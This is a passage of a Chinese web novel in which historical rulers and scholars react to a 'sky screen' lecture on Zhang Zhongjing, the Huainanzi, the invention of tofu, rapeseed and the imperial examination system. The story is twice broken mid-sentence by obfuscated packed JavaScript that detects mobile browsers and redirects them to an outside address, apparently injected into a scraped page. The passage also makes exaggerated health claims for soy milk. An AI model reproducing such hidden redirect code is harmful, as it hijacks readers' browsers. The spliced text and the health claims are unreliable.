【《伤寒杂病论》中说如果病了三日，出汗呕吐还不行的话，就要再次把脉，脉搏若出现“浮紧”现象，身体仍然发热，随意用桂枝汤极有可能会引起不适，所以禁用桂枝汤。可惜这本书已经失传，《伤寒论》是王叔和根据自己搜寻到《伤寒杂病论》的伤寒部分的轶文整理而成。】 【说到这里就很气愤，治病的医书都是能救命的东西竟然能失传，要是张仲景能看到，真想让他弄上个几千本能好好遗传下来。桂枝汤和麻黄汤都是能看得起病的人家才能服用的，但是在古代的时候大部分的穷苦民众都是看不起病的，不能服药的话可知是多么危险。】 【但是上有政策下有对策，没有药物治疗还有物理治疗，多盖几层被子捂出汗或者稍微运动一下发汗，再者用食疗法喝姜汤吃生姜，扛得住病就痊愈了，如果还不行那就没办法了。】 王叔和赞同地点点头。他幼时家境贫寒，缺衣少食，但对医学情有独钟，阅读了大量古代医学典籍，逐渐掌握了诊脉治病的医术。初涉医坛时，因家境贫困，衣衫褴褛，常遭人轻视。 无奈之下，他背着药箱四处漂泊，食宿无定。最后凭借对脉学的深入研究，他陆续治愈了许多疑难杂症，求医者日益增多，声名也随之鹊起，逐渐传遍整个洛阳城。 几年前，他被任命为魏国少府的太医令。深知《伤寒杂病论》在医学领域的卓越价值，他不忍心见其埋没，遂下定决心恢复这部旷世奇书的本来面目。于是，他广泛搜集仲景旧论，奔波各地寻找该书原本，最终成功获得了全本的《伤寒杂病论》。 最近，他已开始着手整理和修复这部珍贵典籍，既然天幕提到了自己至少证明他成功了，如果再把自己擅长的脉学著成一本书，那他就不虚此生了。 清代医家张志聪很赞同天幕说的话，不明四书者不可以为儒，不明本论者不可以为医，可惜后来人看到的都不是原本。不过就像天幕说的，王叔和对《伤寒论》的整理使得《伤寒论》能够流传至今，功莫大焉。 一听到标儿因风寒去世，朱元璋怒火中烧，那些太医怎么干的，天幕上提及东汉时期的张仲景便著有医书，详述风寒疗法，太医院的人难道未曾研习？ 随即下令：“从今日起，所有人务必勤加背诵，凡天幕所提及的医家著作，一律搜集至太医院，都给我背诵下来。” 马皇后注意到标儿的嫡长子朱雄英也早死而去，便将朱标拉至身旁，轻抚其面庞，泪水几欲夺眶而出，心中感慨：“标儿怎会如此命苦，自己英年早逝，连他的儿子也跟随他而去。” 朱标一时手足无措，未曾料到自己竟落得这般境地。“大哥，你不要死啊！”朱棣哭得涕泪横流，目睹朱棣如此狼狈的模样，朱标无奈地露出了一丝苦笑。 东汉之前，人们纷纷赶忙抄录这两个药方，至于朱标的离世与他们并无直接关联，最多只是感慨风寒之症的难治，即便是皇子也可能因此丧命。 到了东汉时期，长沙郡的居民都觉得这名字颇为耳熟。有人猛拍大腿，恍然大悟道：“我知道了，这不就是指的太守吗？他之前曾命衙役张贴告示，宣布每月初一和十五两天大开衙门，不问政事，专门为患病百姓诊治。我之前还曾在他那里就医，不仅费用低廉，而且疗效显著。” “昨天我还见到其他地方的人专程来求医。上次天幕提及唐代药王孙思邈和明代药圣李时珍时，我还在想会不会有太守位列其中，没想到这次果然提及，而且还是医圣，这称号更是非同凡响。”那些未曾就医的人也因此长了见识，没想到自家附近竟有如此杰出的医生。于是，亲戚中有人生病，便急忙回家写信，告知他们前来求医。 刘彻对这两个药方也极为重视，毕竟他如今只有一个儿子，无论将来是否会有其他子嗣，眼下的这个若是有个三长两短，他的皇位也将岌岌可危。遗憾的是，他所处的时期没有能够名垂青史的名医，只能依靠自己培养。只希望天幕所提及的这些与医学相关的知识，能助他更快地培养出不错的医生。 【《淮南子》是中国古代一部重要的哲学著作，它在文化史上占有举足轻重的地位，适应西汉时期大一统的政治需要，以道家为宗领，对先秦的学术做了最后一次总结。它兼采各家学说，以道家为统领，构筑了自己独特的思想体系。】 【首先，《淮南子》继承并发挥了先秦儒家“仁者爱人”的原始人道思想，主张以民为本。例如《汜论训》说：“治国有常，而利民为本。”其次，《淮南子》主张人性本善，《泰族训》认为“人之性有仁义之资”，这是对孟子思想的继承。】 【不过不完全认同孟子，《淮南子》强调“仁义之资”必须与后天教育相结合，才能臻于完美。即是说，善性是内在根据，教育是后天条件，只有两者结合才能成人之善，这显然与孟子偏重于反本内求有所不同。】 【《淮南子》对神话传说的记述，是其一个重要的特点，保存了女娲补天、后羿射日、共工怒触不周山、嫦娥奔月、大禹治水塞翁失马等许多古代神话。为研究神话学、民俗学提供了珍贵的素材。】 宋代史论家高似孙赞誉道：“淮南，实乃天下奇才也！《淮南》之奇，源自《离骚》；《淮南》之放，得于庄列；《淮南》之议论，出自不韦之流；其精妙之处，堪比《玉杯》《繁露》之书。” 汉朝以后，因儒家文化独尊，该书长期遭受冷落。然而，天幕的高度评价重新激发了人们的兴趣，许多人决定去寻找此书一探究竟。 东汉的高诱和许慎则喜不自胜，毕竟《淮南子》的古今注释如今仅限于他们二人，如今众人关注，想必会有更多同好加入注释的行列。 听到孟子这个名字，朱元璋不禁冷哼一声。无论是“君王轻视臣子为草芥，而臣子将君王视作仇敌”，还是“民为贵、社稷次之、君为轻”等言论，皆触犯了皇帝的尊严，与他强化君主专制的政治理念背道而驰。 更何况前段时间，那些文人竟公然引用孟子之言进行反驳。看来，若要下手整治，不妨就从孟子开始，将他逐出孔庙。 【刘安据传说是中国豆腐和豆浆的创始人。明朝罗颀在《物原》中提到前汉书刘安做豆腐的记载。明朝李时珍在《本草纲目》中也说： ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15697870|173437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “豆腐之法，始于前汉淮南王刘安。” 当时淮南一带盛产优质大豆，这里的山民自古就有用山上珍珠泉水磨出的豆浆作为饮料的习惯，刘安入乡随俗，每天早晨也总爱喝上一碗。】 【一天，刘安端着一碗豆浆，在炉旁看炼丹出神，竟忘了手中端着的豆浆碗，手一撒，豆浆泼到了炉旁供炼丹的一小块石膏上。不多时，那块石膏不见了，液体的豆浆却变成了一摊白生生、嫩嘟嘟的东西。八公山的修三田大胆地尝了尝，觉得很是美味可口。可惜太少了，能不能再造出一些让大家来尝尝呢，刘安就让人把他没喝完的豆浆连锅一起端来，把石膏碾碎搅拌到豆浆里，一时，又结出了一锅白生生、嫩嘟嘟的东西。刘安连呼“离奇、离奇”。这就是八公山豆腐初名“黎祁”，盖“离奇”的谐音。】 蒙毅颇感惊讶，未曾料到自己刚才还在琢磨天幕是否会提及大豆的新烹制方法，结果这就降了。他迅速将之记录下来，打算稍后让膳夫尝试制作。若果真可行，便能为陛下增添一道佳肴。尽管天幕尚未详述其功效，但这豆腐必定有其独特之处。 北宋时期，一位读书人坐在院子里喝茶，听到淮南王刘安的这个故事，突发奇想出一首诗“寿阳鸡犬仍做声，八公仙人化旧尘。笑煞淮南炼丹术，炼丹不成豆腐真。 ”将其写在纸上，“诗名就叫《怀古》。” 明朝的苏雪溪也想到了一首《豆腐诗》，“传得淮南术最佳，皮肤褪尽见精华。一轮磨上流琼液，百沸汤中滚雪花。瓦缶浸来蟾有影，金刀剖破玉无暇。个中滋味谁知得，多在僧家与道家。” 【豆腐是通过将黄豆磨成豆浆，再经过凝固、压榨等工艺制成的，脂肪含量较低，且更易于消化吸收。可以辅助促进骨骼发育。豆浆是防治高血脂、高血压、动脉硬化等疾病的理想食品。豆浆可以使人的抗病能力增强，延缓衰老，减少青少年女性面部青春痘、暗疮的发生，使皮肤白皙润泽。】 【豆浆能解决便秘问题，有利尿、出汗的功能。在减重期间多吃一些利尿及耗热出汗的食物，不但能减少水肿机会，还能带走一部分热量，让你轻松减肥。】 【后来还有很多古代人研究过用豆腐做的美食，宋人林洪在其著作《山家清供》里记载过这样一道菜：“采芙蓉花，去心、蒂，汤瀹之，同豆腐煮，红白交错，恍如雪霁之霞，名‘雪霞羹’。”】 【芙蓉花可以用食用木槿花代替，木槿也称为木芙蓉，搞不好林洪当年说的就是它。木槿摘去花蕊和蒂，在开水里一汆捞起，同豆腐一起煮，盛起来淡红嫩白的一碗，确实好看，加点盐开吃，要说多好吃嘛，对于口味清淡的人来说，估计还行。】 林洪有些惊讶，没想到自己效仿前代高士隐逸山林时写的《山家清供》还值得被一提，其实关于豆腐他还记载了东坡豆腐，“豆腐，葱油炒，用酒研小榧子—二十枚，和酱料同煮。又方纯以酒煮。俱有益也。” 可惜，时间对任何人都是公平的，苏东坡早已老去，他也不能确定自己这个就是正确的，只是一种幻想而已。虽然遭到江南士林的挤压，可只要能流传到后世就不虚此生了，那些人又有几人能在历史上留下记号呢。 刘彻感到意外，未曾料到淮南王竟能发明如此佳肴——豆腐及其制作方法。他下令：“告诉淮南王，让他详细说明豆腐和豆浆的制作过程。尽管他本人罪无可恕，但或许可以考虑减轻其后代的刑罚。” 得知自己的著作流传后世的刘安尽管面临死亡的痛苦，心中却也泛起一丝安慰。正当他准备自杀时，却听到了刘彻派来的使者传达的话，“王侯谋反乃十恶不赦之罪，但陛下仁慈，愿意让小王以献出豆腐制作之法来为子赎罪，小王在此拜谢陛下的宽恕。”说罢把方法交给来的人，回到房间自刎而亡。 汉文帝时期，刘恒看向下面坐姿嚣张的淮南王刘长，刘长虽然面色不好但也立马站出来请罪，“本王以后定严加管教，并尽快研究出豆腐为陛下奉上来”。 刘恒虽心底不喜其嚣张的姿态，但登基时间才没多久，为了保持王朝的安定，仍面带笑容的说道“起来吧，欲加之罪何患无辞，再说豆腐宫里的膳夫多研究研究也就会了，无须如此。”刘长一听便带着轻松的表情回到座位上继续饮酒，继续看向天幕。 苏轼：“煮豆作乳脂为酥，高烧油烛斟蜜酒。豆腐美味又易做，之前我用豆腐招待友人时，他也赞其美味。” 刚从一座小山上回到随园的袁枚认真看了看这个菜谱，觉得这个做法不如自己在随园食单的蒋侍郎豆腐这道菜，“豆腐两面去皮，每块切成十六片，晾干，用猪油熬，清烟起才下豆腐，略洒盐花一撮，翻身后，用好甜酒一茶杯，大虾米一百二十个；如无大虾米，用小虾米三百个；先将虾米滚泡一个时辰，秋油一小杯，再滚一回，加糖一撮，再滚一回，用细葱半寸许长，一百二十段，缓缓起锅。”越说越馋，吩咐厨房今天就上这道菜。 7. 油菜与科举制度 【选项D正确，油菜是喜冰凉、抗寒力较强的作物，主要分布在长江流域，是我国分布最广的油料作物。长江别称为扬子江、天堑、九派母亲河，长江之称始于东汉末年。】 【晋朝以后，称“长江”者逐渐多了起来。在古代文献中，油菜有时被称为“胡菜”。例如，东汉经学家服虔在《通俗文》中提到“芸薹谓之胡菜”。】 【中国乃至世界上第一部国家政府颁布的药典——《新修本草》，后面的朝代又称《唐本草》记载：“芸薹：寒菜、胡菜，主治风游丹肿，乳痈。” 这里的“寒菜”也是油菜的一个别称。】 【油菜在古代还有“油辣菜”这一别名；《夏小正》中提到“正月采芸，二月荣芸”，这里的“芸”即为栽培的油菜，意思是说春分前后开始采摘菜苔，农历二月油菜就开花了。这里的“芸”也可以视为油菜的一个雅称。】 看到服虔，崔烈便想起自己之前讲解《左传》时，服虔装作伙夫躲在讲堂墙壁下偷听。听了一段时间后，结果他认为自己的学术见解不如他的，耐不住技痒，就在茶余饭后同崔烈的门生讨论起来，并且还对崔烈的讲解颇有不满。 很快，批评就传到了崔烈的耳中，第二天一大早，崔烈悄悄来到门生宿舍，旁边就是伙夫房间，门生和伙夫都还在呼呼大睡。崔烈对着伙夫的房间突然大喊：“子慎！子慎！”“什么事？”里面的“伙夫”被惊醒，应声回话。“子慎”是服虔的字。果然是服虔，他与服虔一阵寒暄，并探讨起学问，其后两人成为好友。 “《唐本草》？这个名字很耳熟，是不是前几年提出要编撰的，领衔的人是谁？没想到这么小的一件事都能被流传到后世，不过看这样子后世对于一些事的排名很看重啊？难道还有那些方面不是第一名？那又是哪里的国家呢，也不知后面会不会再讲一下这方面的。”李世民有些开心又有些忧虑。 杜如晦很快便想到名字，“主持编撰的人叫苏敬，此时在右监门府任长史，既然天幕对这方面比较重视，那不如到时候重新修订一本新本草。” 李世民点头同意，决定这次天幕结束后“普颁天下，营求药物”征集全中国各地所产的药物，并令绘出实物图谱，以供编书之用，等编书完成后便提拔官职。 长孙无忌也申请加入编撰队伍，编书本身就算是不小的功劳，更别说这次是天幕上提过的，他更得参与了，能流传到后世的美名，谁会嫌多呢? 刚从旅行中结束的杨万里，来到新市，住进了一家名为徐公店的客栈，他被窗外孩子们的欢声笑语所吸引。原来，一群孩子正在追逐一只黄色的蝴蝶。 蝴蝶在花丛中翩翩起舞，孩子们则在后面紧追不舍，这一幕温馨而又充满童趣的画面激发了杨万里的创作灵感“篱落疏疏小径深，树头花落未成阴。儿童急走追黄蝶，飞入菜花无处寻。” “黄萼裳裳绿叶稠，千村欣卜榨新油。爱他生计资民用，不是闲花野草流。”乾隆有感而发吟出一首诗，自己果然很有诗才。 一些文人雅士对油菜很欣赏，每到花开之际，他们总是会带着酒去欣赏，一边作诗一边赏美景，不过平时到时很少有人仔细研究古籍中关于油菜的记载，这下天幕一说才明白。 有人笑着说道：“平时总笑他人知之甚少，没想到自己也是如此。”一旁的人跟着说道：“那还不罚你回去多研究一下，之后多做几首诗出来。”周围的人也笑着赞同。 【说到油菜，据传宋朝科举的时候还拿它出过一道题，宋代仁宗年间，一考题是“黄花如散金”，不少举子都认为是出自《礼记.月令》上的“季秋之月，菊有黄花”之句，误以为黄花就是菊花，多从秋景立意，于是大多写跑题，只有六人以写春景，才被录取。】 【原来诗题出自张瀚（晋）《杂诗》和唐代司空图的《独望》。二书有诗句“青条若总翠，黄花如散金”，“绿树连村暗，黄花入麦稀”。据此可知题中的黄花不是菊花，而是春天的油菜花，很多举子因而落选。】 因不愿卷入晋室八王之乱，借口秋风起，思念家乡的菰菜 、莼羹、鲈鱼，刚辞官回吴松江畔的张翰有些感慨，没想到自己写的诗还能流传到后面的朝代作为考题，不过科举是什么，是用来选举人才的办法吗？ 面前摆着刚做出来的豆腐和豆浆，刘彻尝了一口，入口即化，“送去椒房殿，给皇后、皇太子和三位公主尝一尝。”看到科举一词，这下询问天幕应该可以回答吧。 果然询问后，天幕上出现一句话【汉-刘彻，可以详细讲一下科举的产生与发展吗？】 【当然没问题，首先科举是通过考试选拔官吏。由于采用分科取士的办法，所以叫做科举。具有分科考试，取士权归于中央所有，允许自由报考和主要以成绩定取舍三个显著的特点。科举制从隋朝大业元年开始实行，到清朝光绪三十一年举行最后一科进士考试为止，经历了1300年。】 【隋朝统一全国后，为了适应封建经济和政治关系的发展变化，为了扩大封建统治阶级参与政权的要求，加强中央集权，于是把选拔官吏的权力收归中央，用科举制代替九品中正制。隋炀帝杨广大业三年开设进士科，用考试办法来选取进士。】 【进士一词初见于《礼记·王制》篇，其本义为可以进受爵禄之义。当时主要考时务策，就是有关当时国家政治生活方面的政治论文，叫试策。这种分科取士，以试策取士的办法，在当时虽是草创时期，并不形成制度，但把读书、应考和作官三者紧密结合起来，揭开中国选举史上新的一页。】 “隋炀帝杨广，好内远礼曰炀，去礼远众曰炀，逆天虐民曰炀。怎么会是晋王登上皇位，太子呢？”刚才建了朝代一统中原的杨坚听到这个谥号立马站了起来，愤怒不已，“去将太子和晋王召来，让晋王亲口解释，他是不是意图篡夺兄长的皇位，以及他在登基为帝后，究竟有何作为，最终竟落得如此谥号。” “那罗延，快坐下，等晋王和太子来了再说，既然天幕说了晋王登上皇位后不行，那就直接下令废了他当皇帝的希望就行。”独孤伽罗一边把杨坚按着坐下来，一边轻抚着他的胸口让他心情平缓下来。 “可惜勇儿这人生性好色，喜爱奢侈，把杨广废了的话，秦王杨俊虽然名声也不错，但是有杨广这个前车之鉴，怕是也不太行。四子杨秀性情暴烈，甚至生剖死囚，取胆为乐，更是不堪为帝。就剩下五子杨琼还看不出来什么，看来以后得着重培养他。” 李世民倒是很赞同这个谥号，杨广自从当上皇帝奢华无道，滥用民力，简直是个败家子，把大好江山都葬送了。 嬴政心中不禁有些轻视，这些后世的皇帝为何一个不如一个？先是宋朝的皇帝大多短命，接着又出了一个隋朝的暴君。他不禁担忧，自己的秦朝是否也会步其后尘。 为此，他决定让扶苏在每次听闻天幕后，挑选一个自己感兴趣的议题撰写文章，并与自己深入探讨，借此了解扶苏的内心想法。他绝不愿看到，自己一手打造的空前统一大业，最终落入昏君之手。 刘彻有些不以为然，他的太子绝对不会是这种人，以后等他当皇帝的时候把匈奴打没了，据儿就可以实行平稳安定的国策，不过想到这莫名觉得脖子后面传来一股阴风，怪怪的。 【唐因隋制，分常举和制举两种，武则天时创殿试和武举。殿试的产生排除了一些通过钱财来考入进士的人，是完善科举制的一项重大措施。宋代的科举放宽了录取和作用的范围，并且确立了三年一次的三级考试制度。宋太祖还下令，考试及第后，不准对考官称师门，或自称门生。】 【这样，所有及第的人都成了天子门生。殿试后分三甲放榜。宋代科举，最初是每年举行一次，有时一、二年不定。实英宗治平三年，才正式定为三年一次。每年秋天，各州进行考试，第二年春天，由礼部进行考试。省试当年进行殿试。】 赵匡胤颇为得意地说道：“以往科举名次，多被权势之家所占据，导致寒门学子无路可进，实在毫无意义。朕的这些方法才是彻底革除往昔之弊端。” 明朝有书生吟诵出北宋时期一首《神童诗》中的名句：“朝为田舍郎，暮登天子堂。”科举制度为人们铺设了一条晋升之路，尽管道路崎岖，却已是难能可贵。 “天子门生，这确实是个不错的主意，但恐怕秦朝还不足以支撑起如此庞大的考试体系。不过，在考试中，考生们究竟使用什么来答题呢？显然不会是竹简。后世是否研究出了比竹简更便于书写的工具？”嬴政陷入了沉思。 蒙恬进言道：“陛下，虽然全面的科举制度暂时无法实施，但我们不妨先举办一次全国性的考试，吸引那些有志于为官或实现自己理念的人士前往咸阳参加。”“彩，李斯，你来负责安排时间和地点，蒙恬，你协助他。”“是。”李斯应声答道。 【从宋代开始， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15697871|173437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 科举开始实行糊名和誉录，并建立防止徇私的新制度。糊名，就是把考生考卷上的姓名、籍贯等密封起来，又称"弥封"或"封弥"。宋太宗时，根据陈靖的建议，对殿试实行糊名制。】 【后来，宋仁宗下诏省试、州试均实行糊名制。但是，糊名之后，还可以认识字画。根据袁州人李夷宾建议，将考生的试卷另行誊录。考官评阅试卷时，不仅仅无法知道考生的姓名，连考生的字迹也无从辨认。这种制度，对于防止主考官徇情取舍的确发生了很大的效力。】 一听到这个提议，李世民立刻感到兴奋起来，糊名和誉录是极佳的策略，尽管目前读书人数量有限，主要局限于世家子弟，但这是一条长期的发展道路，无需急于求成。 长孙无忌也察觉到了这两种方法的潜在影响力，但他相信只要长孙皇后地位稳固，自己就不会受到太大影响。 至于杜如晦，尽管他出身于京兆杜氏，但他更希望看到唐朝的繁荣发展。 赵匡胤的宰相赵普满怀激情，因为宋朝刚刚建立，科举制度尚未完善。赵普意识到，天幕透露了至关重要的几点，而且之前从未举行过无需糊名和誊录的考试。 他向赵匡胤提议，既然这是天幕的建议，那本朝的第一次科举就这样办，即便有人内心有所保留，至少表面上也会表示赞同，他期望通过这次科举能够发掘更多的人才。 刘彻和嬴政也深刻认识到这两点的重要性，决定若要举行考试便按此方案执行。虽不知能否借此机会发掘几位民间英才，但有则更好，无亦无妨。关键在于此方法，只要能持续举办五年以上，人才终将涌现。 看到这里，曾经下诏举“贤良”没几年的杨坚觉得自己有了一个更好的选取人才的制度，只要之后换个不错的皇帝即位，隋朝会更稳定一些。看向独孤伽罗，两人早已默契不已，明白对方的想法，等这次天幕结束后研究一个更适合现在情况的科举推行。 【明清的科举考试分为四个级别，最低的一级叫院试，由府、州、县的长官监考，考试通过后为秀才，然后是乡试，这是省一级的考试，考中的就成了举人。再高一级的是会试，由礼部主持，考取的叫贡士，如果能考过这一关，就有资格参加最高一级的考试，也就是殿试。殿试又叫廷试，由皇上亲自主持。】 【清代的科举制度与明代基本相同，但它贯彻的是民族歧视政策。满人享有种种特权，做官不必经过科举途径。清代科举在雍正前分满汉两榜取士，旗人在乡试、会试中享有特殊的优特，只考翻译一篇，称翻译科。以后，虽然改为满人、汉人同试，但参加考试的仍以汉人为最多。】 【科举制发展到清代，日趋没落，弊端也越来越多。清代统治者对科场舞弊的处分虽然特别严厉，但由于科举制本身的弊病，舞弊越演越烈，科举制终于消亡，持续1300多年。】 “汉族人，为何称之为汉族人，难道不是我秦朝一统天下吗？”嬴政敏锐地察觉到了其中的问题。 刘彻自信地一笑，“理应如此，今后皆称汉族人，哈哈哈哈。”然而，当他看到天幕上满族享有种种特权时，不禁愤然一挥袖，“后续朝代的皇帝是如何治理的，竟让这满族人得以入主中原。” “如此完善的科举制度，怎么可能存在缺陷呢？而且后来的清朝，皇帝竟然不是汉族人，而是满族人。这些后来的皇帝是怎么当皇帝的，竟然让建虏入侵，夺走了咱建立的王朝。看来，我得编写一部专门用来训诫子孙后代的典籍，就命名为《皇明祖训》。妹子，你觉得如何？”朱元璋在谈话中逐渐兴奋起来。 马皇后并不完全认同：“你现在编写这个，将来又有多少人会听从呢？还不如顺应天意，趁着刚刚登基，把能够改革的地方都进行改革。加上标儿和我们的孙子，连续三代皇帝都是贤明的，那么明朝就已经很稳固了。” 康熙面色有些沉重“听天幕的意思，清代后面就没有朝代了，那也没有皇帝了，科举制度竟然也消亡了，那后世是怎么选拔人才的？” 雍正不再拨弄手中的念珠，心中思索：清朝已将前朝所有出现的问题逐一解决，究竟还会因何种原因走向灭亡？难道是后世又出现了类似胡亥、杨广般的昏君，导致官逼民反？ 然而，他总觉得并非如此。难道是外敌入侵？但外面的国家发展迅猛，令人难以捉摸。思及此处，他决定派遣使者出访海外，至少要弄清外界当前的进展状况。 8. 科举制度与四大发明 【说到这里，北宋嘉祐二年的科举考试非常有名，可以用一句话来形容，天才只是用来见我的门槛，而那场科举被称之为千年龙虎榜。】 【这次科举考试共40万人报考，最终只录取了899人，进士388人，却涌现了大批优秀人才。据史书记载，这一届考生中任宰相者9人，《宋史》有传者达24人，其对后世的影响，横跨了文学、思想、政治乃至军事多个领域。】 【主考官是当时的文坛领袖，后世被称之为唐宋八大家之一的欧阳修；副考官梅尧臣，宋诗“开山祖师”，修过《新唐书》，注过《孙子兵法》。这一年中榜进士里有唐宋八大家之三，苏轼、苏辙、曾巩；有程朱理学的创始人程颢、程颐；有说出那句为天地立心，为生民立命，为往圣继绝学，为万世开太平的话，创立关学，在国哲学史上第一次建立了比较完整的气一元论哲学体系，开辟了朴素唯物主义哲学的新阶段的大思想家张载；】 【这其中还有许多著名人物，如在军事领域最为著名的当属王部。此人为将时一改宋军赢弱作风，光复了安史之乱前由中原王朝控制的地区，为北宋收复被吐蕃占领的国土二十余万平方公里，开疆拓土两千余里，威震西夏，取得了范仲淹韩琦、司马光、文彦博等北宋名相皆未能取得过的好成绩。王部也以功拜枢密副使，成为宰执。】 【这届进士榜状元为章衡，此人虽然在后世一般人看来文名不显，却是个博学多才之人，注意到当时学者对历史缺乏了解，于是编纂了《编年通载》，这部著作详细记录了从上古到宋朝三千四百年的历史，对史学做出了重要贡献。】 【当官时敢于直言进谏，而且关注民生，因为武监侵占百姓土地怼过三司骂过宰相，有一年出使辽国，辽人提议比试射箭试图羞辱宋人。不料，这位文状元笑着站起来连射十箭，箭箭命中靶心，吓得辽人无人敢下场比试，后来更是在水利建设和西湖治理上发挥了大作用。】 王安石回想起自己在《祭欧阳文忠公文》中所写的词句：“如公器质之深厚，智识之高远，而辅以学术之精微，故充于文章，见于议论，豪健俊伟，怪巧瑰琦。” 苏轼一边品尝着美食，一边赞扬，“子平之才，百年无人能望其项背。” 宋神宗赵顼笑着看向章惇，说道：“章衡才智敏捷，学识渊博，气度沉稳且高雅。然而子厚，你的侄子在后世似乎声名显赫，看来你需更加勤勉，切莫逊色于你的侄子啊。” 赵匡胤看得目不暇接，满眼都是人才。他感叹道，为何这些人才不是他这个时代的呢？他正需要像章衡这样的人才。 王夫之对张载的推崇和赞誉无以复加，“张子之学，上承孔孟之志，下拯耒兹之失，犹如蛟龙日丽于天，无幽不烛。即使圣人复起，亦难以更易其道。” 黄锦祥亦认为，张载乃德才兼备之大儒，圣贤之躯，“横渠四言，超凡入圣。思行侠义，儒风永存。传道关学，千秋熠熠生辉。” 刘彻对这些文人并不特别感兴趣，他需要的是能够抵御匈奴的勇士。他觉得王部这个人不错，只可惜不是汉朝的人。不过，当他想到卫青和霍去病时，又感到欣慰，不愧是他挑选的人才，作战能力确实非凡。 【说到科举，与科举相关的成语也有很多。 (1)金榜题名，进士榜用黄纸书写，故叫黄甲，也称金榜，所以中进士称“金榜题名”。 独占鳌头，据说皇宫殿前石阶上刻有巨鳌，只有状元及第才可以踏上迎榜，所以独占鳌头指中状元。 （2）五子登科，五代后周时期，燕山府有个叫窦禹钧的人，他的儿子都品学兼优，先后登科及第，故称“五子登科”。】 【 （3）连中三元，乡试第一名叫解元，会试第一名叫会元，加上殿试一甲第一名的状元，当然这是□□，还有一个小三元，指的是童试考试的三级考试，每级的第一名都称作“案首”，连中三次案首的，俗称“小三元”。历史上连中三元的人很多，但是古往今来连中六元的只有两个人，明朝的黄观，原名许观，清朝的钱棨。 （4）名落孙山，名字落在榜末孙山的后面，指考试或选拔未被录取。宋朝时，有一个名叫孙山的才子与同乡的儿子一起参加考试，后被同乡问其子有没有考上，孙山答“解名尽处是孙山，贤郎更在孙山外”,意为举人榜上的最后一名是我孙山，而令郎的名字还在我孙山的后面，即没考上】 正在为教育本族子弟读书编写了一本融会经史子集的三字歌诀的王伯厚看到五子登科这个成语，觉得这个可以加进去，思考了几秒钟，写在纸上，窦燕山，有义方，教五子，名俱扬。 还没开始科举的朱元璋对这个黄观不是很感兴趣，就算连中六元也不一定当官就行，不过倒是可以增添点名声，可惜作用不大。 相反乾隆倒是挺开心的，他登基以来武功文治都不错，就需要这种添名声的事，就是可惜这个时候参加科举的没有这个人，以后叫这个名字的就更多了。 百姓们不是很能明白连中六元的具体含金量，但是听到历史上只有两个人也能明白有多厉害，纷纷给孩子改名，蹭蹭这个名字的运气。 孟郊想起自己进士及第时写的诗，“昔日龌龊不足夸，今朝放荡思无涯。春风得意马蹄疾，一日看尽长安花。 【讲了这么多，咱们来做道题试一下听的如何。 下列言论中涉及的人才选拔制度，按出现顺序先后排列正确的是 ①学通行修，经中博士 ②宗室非有军功论，不得为属籍 ③九品访人，唯问中正 ④风吹金榜落凡尘，三十三人名字香。 A②①③④ B③②①④ C②④①③ D①③②④ 还是一样，会的就把答案说出来】 李斯思考了一番，肯定的说出答案，“博士这个官名战国时期就有了，负责保管文献档案，编撰著述，掌通古今，传授学问，培养人才，秦朝就有几十个，②说的就是商君实行的军功爵制，秦朝之前都没出现过，所以这两个肯定紧挨着且都在前两个。” “④的话，前面刚讲过金榜题名时进士榜用黄纸书写，故叫黄甲，也称金榜，从开始实行科举之后一直的选拔制度都是科举，所以④在最后，这样一推算选A。” 刘彻很快想出了答案，“①说的不就是我们推行的察举制，②说的秦朝的军功爵制，直接②①选A都不用再看后面了。” 房玄龄放下抄好题目的毛笔，“这道题越往后面的朝代越简单啊，这③不就说的是魏晋南北朝时期实行的九品中正制，之后不就是隋朝，科举制出现了，所以③④肯定排最后两个，选A。”长孙无忌和杜如晦也是同样的想法。 宋朝赵普更是直接选A，哪怕前面没听天幕讲的话，他们宋朝及以后的朝代也会选，稍微了解点历史的人都觉得很简单。 刚重新整治了一番太医院的朱元璋看了一眼题目，“选A，以后要是多出点这种题目就好了，明朝前面那么多朝代，要是这样问，那咱不都能答对。 虽然目前答对题目也就是会让天幕夸奖一番，要是回答得快且回答的人少天幕感兴趣还会稍微讲一下这个人。但是万一以后这个回答对问题会有其他奖励呢，试一试也没啥。” 各个朝代的不论是读书人还是商人，或者平民百姓凡是认真听讲了都选了答案，虽然他们正确率不高，但是有人答对就算学习到了新知识。 【OK，看来这道题很简单。咱们就稍微讲解一下答案，①的话说的是西汉时期的察举制，主要特征是有地方长官在辖区内随时考察、选取人才并推荐给上级或中央，通过考核合格后再任命官职。②反映的是军功爵制，出现在先秦时期，所以②在①前面，且两者都在最前面。】 【③说的是魏晋南北朝的九品中正制，九品中正制创立之初，评议人物的标准是家世、道德、才能三者并重。但由于魏晋时充当中正者一般是二品，二品又有参预中正推举之权，而获得二品者几乎全部是门阀世族，故门阀世族就完全把持了官吏选拔之权。】 【于是在中正品第过程中，才德标准逐渐被忽视，家世则越来越重要，甚至成为九品中正制的主要标准，到西晋时终于形成了“上品无寒门，下品无士族”的局面。】 【九品中正制不仅成为维护和巩固门阀统治的重要工具，而且本身就是构成门阀制度的重要组成部分。到南朝时期，在中正的评议中，所重视的只是魏晋间远祖的名位，而辨别血统和姓族只须查谱牒，中正的品第反成无足轻重的例行公事。所以任何制度都是适合当时的情况，但是如果不及时发现问题并改革那这个制度迟早会形同虚设。】 